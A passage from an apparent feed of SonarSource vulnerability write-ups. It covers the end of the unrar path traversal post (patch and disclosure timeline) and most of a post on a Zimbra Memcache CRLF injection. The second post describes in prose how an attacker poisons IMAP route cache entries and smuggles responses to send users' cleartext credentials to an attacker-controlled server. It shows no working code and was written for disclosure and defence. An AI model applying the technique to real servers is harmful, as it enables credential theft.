with our research, we chose not to release any exploitation code. We could successfully exploit these bugs on our internal research instance and believe that threat actors will be able to reproduce it if they didn&amp;#x27;t already. &lt;strong&gt;We strongly recommend upgrading your systems to use the latest versions of unrar&lt;/strong&gt;.&lt;/p&gt;&lt;h3&gt;Exploitation in Zimbra&lt;/h3&gt;&lt;p&gt;As mentioned previously, when an email with a RAR archive attachment is received, it is automatically extracted for analysis by Amavis via unrar. In Zimbra, most services, including the Amavis server, run as the zimbra user. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a consequence, the file write primitive allows creating and overwriting files in other services&amp;#x27; working directories. An attacker can achieve RCE impact via various means. We mentioned for example, that an attacker could write a JSP shell into a web directory. Luckily, most Zimbra instances have their services distributed across multiple servers and thus this path of exploitation is not possible on most installations. However, we have reported multiple different paths of exploitation that work on distributed installations. For this reason we recommend upgrading unrar immediately, even if your web server and mail server are not on the same physical machine.&lt;/p&gt;&lt;h3&gt;Getting root access after exploitation&lt;/h3&gt;&lt;p&gt;When an attacker has successfully exploited the &lt;code&gt;unrar&lt;/code&gt; vulnerability on a Zimbra instance, they can execute arbitrary system commands as the &lt;code&gt;zimbra&lt;/code&gt; user. At the time of writing, a publicly known privilege escalation from &lt;code&gt;zimbra&lt;/code&gt; to root exists, along with exploit code. The vulnerability was &lt;a href=&quot;https://darrenmartyn.ie/2021/10/27/zimbra-zmslapd-local-root-exploit/&quot;&gt;discovered by Darren Martyn&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;RarLab patched the issue by ensuring that the path validated is the same that is used to create the symlink. The patch is included in binary version &lt;a href=&quot;https://www.rarlab.com/download.htm&quot;&gt;6.12&lt;/a&gt;, which can be downloaded from RarLab&amp;#x27;s website. We urge anyone to make sure they are using a patched version of &lt;code&gt;unrar&lt;/code&gt;. If administrators prefer to install &lt;code&gt;unrar&lt;/code&gt; via a package manager, they should check if their repository contains the patched version as versions may differ depending on the Linux distribution they use.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We notified Zimbra of this bug so that they could issue a warning to their users and patch their cloud instances. We also mentioned the fact that most services run as the zimbra user made exploitation of this issue possible. Zimbra has &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32https://&quot;&gt;addressed this issue&lt;/a&gt; by configuring Amavis to use &lt;code&gt;7z&lt;/code&gt; instead of &lt;code&gt;unrar&lt;/code&gt; to extract incoming RAR attachments.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;Date&lt;/td&gt;&lt;td&gt;Action&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-04&lt;/td&gt;&lt;td&gt;We report the bug in unrar to RarLab.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-04&lt;/td&gt;&lt;td&gt;We are already in communication with Zimbra about another issue. We give them a heads up about an upcoming security patch from RarLab and send them a Proof-of-Concept exploit to verify that the issue affects Zimbra&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-04&lt;/td&gt;&lt;td&gt;RarLab confirms the issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-05&lt;/td&gt;&lt;td&gt;RarLab sends us a patch for review. We confirm the patch is effective the same day.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-06&lt;/td&gt;&lt;td&gt;RarLab releases version 6.12 of the binary on their website.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-07&lt;/td&gt;&lt;td&gt;We send a dedicated email to Zimbra regarding this issue and send the Proof-of-Concept exploit again.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-11&lt;/td&gt;&lt;td&gt;We notice a flaw in our Proof-of-Concept and send Zimbra more files to help them verify the issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-11&lt;/td&gt;&lt;td&gt;We notify Debian and Ubuntu package maintainers of the security issue.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-11&lt;/td&gt;&lt;td&gt;Zimbra notifies us that they were able to reproduce the vulnerability.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-20&lt;/td&gt;&lt;td&gt;Zimbra addresses this issue by configuring Amavis to use 7z instead of unrar to extract incoming RAR attachments.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-25&lt;/td&gt;&lt;td&gt;We notify Zimbra of the planned release date for this blog post.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post we broke down the technical details of CVE-2022-30333, a path traversal vulnerability in &lt;code&gt;unrar&lt;/code&gt;. We demonstrated how this vulnerability lead to pre-authenticated RCE on Zimbra and how such vulnerabilities can be exploited in detail.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This vulnerability follows a common vulnerability pattern, where a modification of user input after it has been validated leads to a bypass of security checks. We have given a talk on this topic before, which you can &lt;a href=&quot;https://www.youtube.com/watch?v=V-DdcKADnFk&quot;&gt;watch here&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the RarLab developers for their very fast and professional handling of this issue. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would also like to thank Zimbra’s security team for taking this issue seriously and warning their customers to help prevent exploitation.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Takeover via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-image-remote-code-execution/&quot;&gt;WordPress 5.0.0 Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/&quot;&gt;Cachet 2.4: Code Execution via Laravel Configuration Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/rainloop-emails-at-risk-due-to-code-flaw/&quot;&gt;RainLoop Webmail - Emails at risk due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Zimbra Email - Stealing Clear-Text Credentials via Memcache injection]]></title><description><![CDATA[We discovered flaws in Zimbra, an enterprise email solution, that allow attackers to steal credentials of users and gain access to their email accounts.]]></description><link>https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection</link><guid isPermaLink="false">1362f035-a796-54e0-a4aa-cff79859c555</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 14 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Zimbra is an enterprise-level email solution, similar to Microsoft Exchange. It comes with mail servers, load balancing features, a powerful web interface, and more. According to the vendor&amp;#x27;s website, it is used around the globe by over 200,000 businesses, universities, and financial &amp;amp; government institutions where users log in to their Zimbra mail account to read and send private emails. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered a vulnerability in Zimbra that allows an attacker to steal the login credentials from users of a targeted Zimbra deployment. With the consequent access to the victims’ mailboxes, attackers can potentially escalate their access to targeted organizations and gain access to various internal services and steal highly sensitive information. With mail access, attackers can reset passwords, impersonate their victims, and silently read all private conversations within the targeted company. Just a few months ago, Volexity published &lt;a href=&quot;https://www.volexity.com/blog/2022/02/03/operation-emailthief-active-exploitation-of-zero-day-xss-vulnerability-in-zimbra/&quot;&gt;research&lt;/a&gt; on a 0day vulnerability being used to target Zimbra instances, in particular those deployed by government institutions. In their blog post, they mention that it is likely that a state actor was behind the attacks. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post describes a new vulnerability that allows an unauthenticated attacker to steal cleartext credentials from a Zimbra instance without any user interaction. We will learn how Memcache Injection vulnerabilities work and how attackers can exploit them. Due to the severity of this issue and previous exploitation of Zimbra instances, we urge Zimbra users to upgrade their installations immediately.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following video demonstrates how an unauthenticated attacker can steal the password of a known user of a targeted instance. The vulnerability triggers the next time the victim uses a mail client to connect to their organization’s Zimbra server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/2cXJJzffV-k&quot;&gt;Zimbra - Stealing a victim&apos;s password&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We verified that the code flaws (CVE-2022-27924) are present in both the 8.8.x and 9.x branches of Zimbra, affecting both the open-source and commercial versions. The code flaws affect Zimbra’s Reverse Proxy and can be exploited with default configurations by an unauthenticated attacker. The fixed versions are respectively 8.8.15 with Patch level &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31.1&quot;&gt;31.1&lt;/a&gt; and 9.0.0 with Patch level &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24.1&quot;&gt;24.1&lt;/a&gt;..&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As detailed later in this blog post, there are two strategies that attackers could use to exploit this vulnerability: The first strategy requires the attacker to know the email address of victims to be able to steal their login credentials. Typically, an organization uses a pattern for email addresses for their members, such as &lt;code&gt;{firstname}.{lastname}@example.com&lt;/code&gt;. A list of email addresses could be obtained from OSINT sources such as LinkedIn.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The second exploitation technique exploits “Response Smuggling” to bypass the restrictions imposed by the first strategy and allows an attacker to steal cleartext credentials from any vulnerable Zimbra instance without requiring any knowledge about the instance. Both strategies require no user interaction.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we provide a high-level overview of Zimbra&amp;#x27;s architecture. Although the root cause of the security issue lies in the source code, an understanding of the setup is necessary to understand the vulnerability and how an attacker might exploit it.&lt;/p&gt;&lt;h3&gt;Background - Zimbra Proxy&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, the Zimbra installation script installs all necessary services on a single server. Additional backend servers can be easily added to distribute the workload of heavy email exchange.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to manage this load balancing feature, Zimbra uses Nginx as a Reverse Proxy to receive all incoming HTTP and Email (IMAP &amp;amp; POP3) traffic and forward it to one of the registered backend servers. Due to Zimbra&amp;#x27;s architecture, Nginx&amp;#x27;s default behavior of forwarding requests to backend servers in a round-robin fashion is not sufficient. The reason for this is that the data stored on different backend servers might not be mirrored on all servers and different backend servers are responsible for different users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To tackle this problem, Zimbra&amp;#x27;s developers maintain a &lt;a href=&quot;https://github.com/Zimbra/nginx/tree/zimbra/develop&quot;&gt;modified version of Nginx&lt;/a&gt;, as well as &lt;a href=&quot;https://github.com/Zimbra/packages/tree/develop/thirdparty/nginx/zmmodules&quot;&gt;custom Nginx modules&lt;/a&gt;. These customizations ensure that Nginx forwards traffic sent by a specific user to the correct backend server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The correct routing is achieved via the &lt;em&gt;Zimbra Lookup Service&lt;/em&gt;. When Zimbra&amp;#x27;s Reverse Proxy receives a connection (1), it attempts to identify the user making the request through various methods. One example of this is extracting the user from certain URLs. When an incoming HTTP request is made to the example URL &lt;code&gt;https://example.com/service/home/&lt;/code&gt;&lt;strong&gt;exampleUser&lt;/strong&gt;&lt;code&gt;/file&lt;/code&gt;, the user &lt;code&gt;exampleUser&lt;/code&gt; is identified. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zimbra&amp;#x27;s Nginx then (2) makes an HTTP request to the internal Zimbra Lookup Service and asks it for the correct backend server for this user. This service then replies with an IP and Port, to which the incoming traffic is then forwarded (3).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following graphic illustrates this process:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5d7f0e9e-3c91-45ae-a73d-4802fd779e6e/body-709c1b93-06fc-43d5-b2e9-07077eded221_Fig1%2BnoPad%2BZimbra%2BFull%2BChain%2B%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is important to note that this process takes place even if there is only one backend server registered and the result will always be the same. Hence, the vulnerabilities can be exploited even when no additional servers were added.&lt;/p&gt;&lt;h3&gt;Background - Route Caching with Memcached&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous section, we described how Zimbra&amp;#x27;s Reverse Proxy makes an HTTP request to the Zimbra Lookup Service for every connection it receives, before forwarding the traffic to the correct backend service. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As this extra HTTP request is expensive on performance, the result is cached per user by a Memcached instance. Before making the HTTP request to the Lookup Service, the cache is checked for an existing route. If a cache entry exists, the Lookup request is skipped.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Memcached is a server that stores key/value pairs that can be set and retrieved with a simple text-based protocol.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s continue the previous example of &lt;code&gt;exampleUser &lt;/code&gt;making an HTTP request. Once the right backend server has been fetched from the Zimbra Lookup Service, the backend server&amp;#x27;s address is added to the cache by sending the responsible Memcached service the following message:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4d16ffd1-bf44-45b6-8061-aa1fdcd0934a/body-970fed86-a79c-48d1-b004-185239416e07_1.png&quot; /&gt;&lt;p&gt;The snippet above shows that the &lt;code&gt;add &lt;/code&gt;command was used to set the key &lt;code&gt;route:proto=httpssl;user=exampleUser@example.com&lt;/code&gt;. The following graphic explains different message parts of the Memcached message that was sent:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f3a08c9b-edda-40fa-8942-222245e18a7c/body-c8571688-fb71-4462-b26e-609d381e7a65_Fig2%2BnoPad%2BZimbra%2BFull%2BChain%25402x.png&quot; /&gt;&lt;p&gt;Please note that we explicitly use &lt;code&gt;(\r\n)&lt;/code&gt; to indicate new lines in Memcache example messages, as they are important to understand the following vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The server then responds with a simple message to signal the Memcached client, in this case, Zimbra&amp;#x27;s reverse proxy, that the store was successful:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/36453799-356f-4c5b-8f6e-3ed4814da244/body-3c1bea06-66a1-4954-a7e2-5d130f1872c7_2.png&quot; /&gt;&lt;p&gt;After this data was added to the cache, Zimbra&amp;#x27;s Reverse Proxy attempts to fetch it every time the &lt;code&gt;exampleUser &lt;/code&gt;makes an HTTP request. To do so, it would send the Memcached server the following message:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/dadb3e29-ba05-4f97-ae5b-9eb078f32e13/body-a07e96c3-d48e-49d1-be23-9059477dfc3c_3.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Memcached server would then send the following reply:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0ca22209-9a8c-4532-9716-63d561c37770/body-14f7a859-6efe-4cf2-be9d-cb6cc935be0b_4.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can see how the key of the cache entry is predictable. It follows the format &lt;code&gt;route:proto=&lt;/code&gt;&lt;strong&gt;PROTOCOL&lt;/strong&gt;&lt;code&gt;;user=&lt;/code&gt;&lt;strong&gt;EMAIL&lt;/strong&gt;. The protocol could be &lt;code&gt;httpssl&lt;/code&gt;, &lt;code&gt;imap &lt;/code&gt;or &lt;code&gt;pop3&lt;/code&gt;. We will discuss the two latter options later.&lt;/p&gt;&lt;h3&gt;Vulnerability (CVE-2022-27924) - CRLF injection in Memcached lookups&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Memcached uses a text-based protocol that interprets incoming data line by line. This means that if an attacker would be able to inject newline characters into the username of Memcached lookups, they could execute malicious Memcached commands.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous sections, we described how an HTTP request to the URL &lt;code&gt;https://example.com/service/home/&lt;/code&gt;&lt;strong&gt;exampleUser&lt;/strong&gt;&lt;code&gt;/file&lt;/code&gt; leads to the following Memcached lookup:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9a81dbae-6728-42d0-8116-11a6267600de/body-8221b971-09d6-427b-a554-e53d6371b417_5.png&quot; /&gt;&lt;p&gt;What happens if the URL contains newlines, followed by an injected command? Let&amp;#x27;s assume an attacker were to craft the following URL (not encoded for clarity):&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4a52dc48-2ce5-4f4d-9b93-a9b064630230/body-b9e967ed-23f9-471d-b5c3-659d1bb7e564_6.png&quot; /&gt;&lt;p&gt;As newlines were in fact not escaped prior to constructing Memcached lookups, the following data would be sent to the Memcached server by Zimbra&amp;#x27;s Reverse Proxy:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c5cb4ee2-5649-40e2-b729-597bf073da53/body-3d671d32-3157-4d0e-b711-55417ea6f5b7_7.png&quot; /&gt;&lt;p&gt;The server then processes the input line by line and would respond with the following data:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/106d7570-5c88-4d4d-adda-4613c4fd6d4c/body-1d8c21e7-c2e8-4c39-b6ac-d302afb2d663_8.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The first line of the response contains &lt;code&gt;END(\r\n)&lt;/code&gt; to indicate that the &lt;code&gt;get &lt;/code&gt;command failed as the &lt;code&gt;route:proto=httpssl;user=example&lt;/code&gt; key was not present. On the next line, Memcached responded with various runtime statistics as a response to the injected &lt;code&gt;stats &lt;/code&gt;command. The last line indicates an error to the &lt;code&gt;User@example.com&lt;/code&gt; string, which was on its own line but does not represent a valid command.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The example above demonstrates how attackers can execute arbitrary Memcached commands, of which a &lt;a href=&quot;https://lzone.de/cheat-sheet/memcached&quot;&gt;documented list&lt;/a&gt; exists. Most importantly, an attacker can create and overwrite arbitrary cache entries, given they know the key they want to overwrite. This is achieved by injecting an &lt;code&gt;add &lt;/code&gt;or &lt;code&gt;set &lt;/code&gt;command.&lt;/p&gt;&lt;h4&gt;Stealing cleartext credentials of known users&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous sections, we have seen how attackers can overwrite cache entries in the Memcached instance of a targeted Zimbra installation. In order to understand how an attacker would exploit this vulnerability, we needed to find out which cache entries could be overwritten and what security impact this might have on a targeted Zimbra instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Route cache entries turned out to be interesting targets to be overwritten as the route keys are predictable. We have previously seen how the &lt;code&gt;exampleUser&lt;/code&gt;&amp;#x27;s route is cached with the key &lt;code&gt;route:proto=httpssl;user=exampleUser@example.com&lt;/code&gt;. Here, the protocol is &lt;code&gt;httpssl&lt;/code&gt;, as the user was identified through the request URL of an HTTP(s) request. Then, the &lt;code&gt;exampleUser@example.com&lt;/code&gt; string follows. The username is predictable as we control it. &lt;code&gt;example.com&lt;/code&gt; is derived from the Host header that was part of the same HTTP request.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We mentioned earlier that Zimbra uses Nginx to proxy IMAP and POP3 traffic as well. With all of this in mind, we realized an attacker could overwrite the IMAP route cache entries for any known user of a targeted installation, for example by making the following HTTP request:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/51cf848c-9026-4114-995b-dc15d843165f/body-4be3670d-70cc-41e0-81e1-cc435b254918_9.png&quot; /&gt;&lt;p&gt;As a result, the following message would have been sent to the server:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png&quot; /&gt;&lt;p&gt;As a result of this cache poisoning, the next time the &lt;code&gt;victim@example.com&lt;/code&gt; user would connect to their Zimbra instance via IMAP, the Nginx Proxy would use the poisoned value and forward all IMAP traffic to an attacker-controlled server. Consequently, clear-text credentials are forwarded to the attacker&amp;#x27;s server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of this happens in the background without the victim user knowing. Usually, Mail clients such as Thunderbird, Microsoft Outlook, the macOS Mail app, and Smartphone mail apps store the credentials that the user used to connect to their IMAP server on disk. When the Mail client restarts or needs to re-connect, which can happen periodically, it will re-authenticate itself to the targeted Zimbra instance.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Organizations usually have a naming convention for email addresses for their members, for example, &lt;code&gt;{firstname}.{lastname}@company.tld&lt;/code&gt;. If an attacker conducting targeted attacks can get a list of members of an organization, for example by using a source such as LinkedIn, they could poison the caches for all known users and wait until the next time their email clients reconnect to the targeted company&amp;#x27;s Zimbra instance. They would then be given a list of cleartext credentials.&lt;/p&gt;&lt;h4&gt;Memcache response injection to steal arbitrary credentials&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the previous section, we demonstrated how an attacker can steal the username and password of users of a targeted Zimbra instance by poisoning their IMAP route cache entry. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, for this attack to succeed, the following requirements must be met: (1) An attacker has to know the email addresses of one or multiple victims to be able to poison their cache entries and 2) the victims have to actually use an IMAP client. Zimbra ships with a web client that bypasses the Proxy route lookup and directly talks to the backend server, thus no credentials could be stolen. Although we think that it is very reasonable to assume that in an organization with hundreds of members at least a subset of users uses a mail client (including those installed on phones), the users the attacker knows about might not use them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can exploit Zimbra&amp;#x27;s Memcached client in an interesting way to bypass these restrictions and steal credentials from any user utilizing an email client.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, Zimbra uses 4 worker processes to handle incoming connections. In a default configuration, each worker process can handle 10240 connections. A connection slot might be filled with an HTTP request or an IMAP or POP3 session. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What caught our attention was the fact that Zimbra&amp;#x27;s Nginx established one connection to the Memcached server per process and not per user connection. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the underlying code, whenever a worker thread handling a user connection needs to fetch a cache entry from Memcached, the thread sends the message to the Memcached server via the shared socket and then enqueues a work item in a queue that is shared across all threads of a worker process. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s assume that there are concurrently 3 users (&lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, and &lt;code&gt;C&lt;/code&gt;) whose route lookup is in the work queue. Once the Memcached server processed all 3 lookups it sends the results for the three lookups back to the client.  We can illustrate this state with the following image:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e4952040-fdb2-4952-84c1-45d382c2e9c5/body-968257e9-d2a5-4ed0-8cf1-a700f0dec69c_Fig3%2BnoPad%2BZimbra%2BFull%2BChain%2B%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a reminder, if the users &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt; and &lt;code&gt;C&lt;/code&gt; had made a HTTP request, the following Memcached commands would have been sent to the server:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/39c95650-4cb3-4d63-8885-dfd49162c134/body-83175e67-2703-400f-9830-35284f578402_11.png&quot; /&gt;&lt;p&gt;Memcached would have then responded with the following data:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/823aa972-537f-4bb3-9fef-57c0ae386164/body-b7520723-5806-4a1e-9a62-82574d7b0f1b_12.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;User &lt;code&gt;A&lt;/code&gt;&amp;#x27;s lookup response is first in the shared work queue. When processed, only the bytes in the response stream that are relevant to this work item are processed. In this case, it is the first value. After having processed &lt;code&gt;A&lt;/code&gt;&amp;#x27;s work item, &lt;code&gt;B&lt;/code&gt;&amp;#x27;s work item is processed with the remaining bytes, and so on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This behavior can be exploited by injecting more responses to get requests than there are work items in the queue. Let&amp;#x27;s assume again that cache lookups of users &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;, and &lt;code&gt;C&lt;/code&gt; are in the shared work queue. However, user &lt;code&gt;A&lt;/code&gt; is malicious and abuses the previously discussed CLRF to force Zimbra to send the following traffic to the Memcached server:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3e8aabde-68ab-404e-85aa-1ab4b6350cc9/body-593998c0-6642-40e5-b048-0af294517260_13.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If the attacker had previously set the &lt;code&gt;route:proto=httpssl;user=&lt;/code&gt; and &lt;code&gt;A@example.com&lt;/code&gt; cache entries to a value of an attacker-controlled server, the response stream could look like the following:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can also illustrate this state with the following image:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0298e277-1983-41c2-b3bd-dda079c91cde/body-5e072a12-4930-4f9e-8537-992431a2cb16_Fig4%2BnoPad%2BZimbra%2BFull%2BChain%2B%25402x.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The image above demonstrates how there are more items in the response stream than there are items in the work queue. 